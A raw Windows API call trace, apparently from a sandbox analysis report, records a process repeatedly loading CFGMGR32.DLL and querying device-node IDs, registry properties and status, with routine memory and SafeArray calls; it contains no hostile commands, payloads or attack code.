GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.100] malloc (_Size=0x18) returned 0x196ef0d1a40 [0187.100] CM_Get_Device_IDA (in: dnDevInst=0x1f, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="DISPLAY\\DELA007\\4&27B1E55B&0&UID0") returned 0x0 [0187.100] malloc (_Size=0x48) returned 0x196ef0fb860 [0187.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x505f5fa4, dwHighDateTime=0x1d9eb0c)) [0187.100] SetEvent (hEvent=0x248) returned 1 [0187.104] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.104] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.107] malloc (_Size=0x18) returned 0x196ef0d1d80 [0187.107] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0187.107] malloc (_Size=0x22) returned 0x196ef0f9cd0 [0187.107] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9cd0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9cd0, pulLength=0x67117d608) returned 0x0 [0187.108] free (_Block=0x196ef0f9cd0) [0187.108] malloc (_Size=0x48) returned 0x196ef0fbc20 [0187.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5061c5a1, dwHighDateTime=0x1d9eb0c)) [0187.108] SetEvent (hEvent=0x248) returned 1 [0187.195] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0187.195] SafeArrayPutElement (psa=0x196ee7bee20, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0187.195] free (_Block=0x196ef0d1fc0) [0187.195] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8562e0 [0187.196] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0187.196] SafeArrayGetLBound (in: psa=0x196ee7bee20, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0187.196] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0187.196] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b65f0 [0187.196] SafeArrayGetDim (psa=0x196ee7bee20) returned 0x1 [0187.196] SafeArrayGetUBound (in: psa=0x196ee7bee20, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0187.196] SafeArrayGetElemsize (psa=0x196ee7bee20) returned 0x8 [0187.196] SafeArrayGetElement (in: psa=0x196ee7bee20, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0187.197] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225f20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0187.197] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b65f0) returned 1 [0187.197] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8562e0) returned 1 [0187.198] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.198] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.210] malloc (_Size=0x18) returned 0x196ef0d1f60 [0187.210] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0187.210] malloc (_Size=0x14) returned 0x196ef0d1ec0 [0187.210] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d1ec0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1ec0, pulLength=0x67117d608) returned 0x0 [0187.211] free (_Block=0x196ef0d1ec0) [0187.211] malloc (_Size=0x48) returned 0x196ef0fc030 [0187.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5070170e, dwHighDateTime=0x1d9eb0c)) [0187.211] SetEvent (hEvent=0x248) returned 1 [0187.216] malloc (_Size=0x18) returned 0x196ef0d1e60 [0187.216] SafeArrayPutElement (psa=0x196ee7bf0a0, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0187.216] free (_Block=0x196ef0d1e60) [0187.216] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856a60 [0187.216] SafeArrayGetDim (psa=0x196ee7bf0a0) returned 0x1 [0187.216] SafeArrayGetLBound (in: psa=0x196ee7bf0a0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0187.216] SafeArrayGetUBound (in: psa=0x196ee7bf0a0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0187.216] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0187.217] SafeArrayGetDim (psa=0x196ee7bf0a0) returned 0x1 [0187.217] SafeArrayGetUBound (in: psa=0x196ee7bf0a0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0187.217] SafeArrayGetElemsize (psa=0x196ee7bf0a0) returned 0x8 [0187.217] SafeArrayGetElement (in: psa=0x196ee7bf0a0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0187.218] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225f90, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0187.218] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0187.219] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856a60) returned 1 [0187.219] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.219] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.224] malloc (_Size=0x18) returned 0x196ef0d1e60 [0187.224] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0187.251] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0187.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50773c13, dwHighDateTime=0x1d9eb0c)) [0187.251] SetEvent (hEvent=0x248) returned 1 [0187.253] SetEvent (hEvent=0x248) returned 1 [0187.253] free (_Block=0x196ef0fb6d0) [0187.253] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0187.254] malloc (_Size=0x48) returned 0x196ef0fc030 [0187.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50773c13, dwHighDateTime=0x1d9eb0c)) [0187.254] SetEvent (hEvent=0x248) returned 1 [0187.255] SetEvent (hEvent=0x248) returned 1 [0187.256] free (_Block=0x196ef0fc030) [0187.256] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0187.257] malloc (_Size=0x48) returned 0x196ef0fb720 [0187.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50773c13, dwHighDateTime=0x1d9eb0c)) [0187.257] SetEvent (hEvent=0x248) returned 1 [0187.258] SetEvent (hEvent=0x248) returned 1 [0187.259] free (_Block=0x196ef0fb720) [0187.259] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0187.260] malloc (_Size=0x48) returned 0x196ef0fb950 [0187.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50773c13, dwHighDateTime=0x1d9eb0c)) [0187.260] SetEvent (hEvent=0x248) returned 1 [0187.567] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.567] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.571] malloc (_Size=0x18) returned 0x196ef0d1f00 [0187.571] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0187.578] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0187.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50a947bc, dwHighDateTime=0x1d9eb0c)) [0187.578] SetEvent (hEvent=0x248) returned 1 [0187.579] SetEvent (hEvent=0x248) returned 1 [0187.580] free (_Block=0x196ef0fb4a0) [0187.580] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x1f, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0187.581] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0187.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x50a947bc, dwHighDateTime=0x1d9eb0c)) [0187.581] SetEvent (hEvent=0x248) returned 1 [0187.583] SetEvent (hEvent=0x248) returned 1 [0187.584] free (_Block=0x196ef0fb2c0) [0187.584] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x1f, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0187.584] malloc (_Size=0x48) returned 0x196ef0fc080 [0187.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x50a947bc, dwHighDateTime=0x1d9eb0c)) [0187.584] SetEvent (hEvent=0x248) returned 1 [0187.585] SetEvent (hEvent=0x248) returned 1 [0187.586] free (_Block=0x196ef0fc080) [0187.586] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0187.586] malloc (_Size=0x48) returned 0x196ef0fba90 [0187.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x50a947bc, dwHighDateTime=0x1d9eb0c)) [0187.587] SetEvent (hEvent=0x248) returned 1 [0187.589] SetEvent (hEvent=0x248) returned 1 [0187.590] free (_Block=0x196ef0fba90) [0187.590] CM_Get_Device_IDA (in: dnDevInst=0x20, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A06\\PCI_HOTPLUG_RESOURCES") returned 0x0 [0187.590] malloc (_Size=0x48) returned 0x196ef0fb540 [0187.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x50abac8a, dwHighDateTime=0x1d9eb0c)) [0187.591] SetEvent (hEvent=0x248) returned 1 [0187.592] SetEvent (hEvent=0x248) returned 1 [0187.592] free (_Block=0x196ef0fb540) [0187.592] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0187.592] malloc (_Size=0x5a) returned 0x196ef0d0370 [0187.592] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608) returned 0x0 [0187.593] free (_Block=0x196ef0d0370) [0187.593] malloc (_Size=0x48) returned 0x196ef0fbf90 [0187.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x50abac8a, dwHighDateTime=0x1d9eb0c)) [0187.593] SetEvent (hEvent=0x248) returned 1 [0187.594] malloc (_Size=0x18) returned 0x196ef0d1c40 [0187.594] SafeArrayPutElement (psa=0x196ee7bf860, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0187.594] free (_Block=0x196ef0d1c40) [0187.594] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0187.594] SafeArrayPutElement (psa=0x196ee7bf860, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0187.594] free (_Block=0x196ef0d1ca0) [0187.594] malloc (_Size=0x18) returned 0x196ef0d1a20 [0187.594] SafeArrayPutElement (psa=0x196ee7bf860, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0187.594] free (_Block=0x196ef0d1a20) [0187.594] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855160 [0187.594] SafeArrayGetDim (psa=0x196ee7bf860) returned 0x1 [0187.594] SafeArrayGetLBound (in: psa=0x196ee7bf860, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0187.594] SafeArrayGetUBound (in: psa=0x196ee7bf860, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0187.594] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b65f0 [0187.594] SafeArrayGetDim (psa=0x196ee7bf860) returned 0x1 [0187.595] SafeArrayGetUBound (in: psa=0x196ee7bf860, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0187.595] SafeArrayGetElemsize (psa=0x196ee7bf860) returned 0x8 [0187.595] SafeArrayGetElement (in: psa=0x196ee7bf860, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0187.595] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e1f0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0187.596] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e1f8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0187.596] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e200, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0187.596] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b65f0) returned 1 [0187.597] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855160) returned 1 [0187.597] SetEvent (hEvent=0x248) returned 1 [0187.597] free (_Block=0x196ef0fbf90) [0187.597] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0187.598] malloc (_Size=0x48) returned 0x196ef0fb450 [0187.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x50abac8a, dwHighDateTime=0x1d9eb0c)) [0187.598] SetEvent (hEvent=0x248) returned 1 [0187.598] SetEvent (hEvent=0x248) returned 1 [0187.599] free 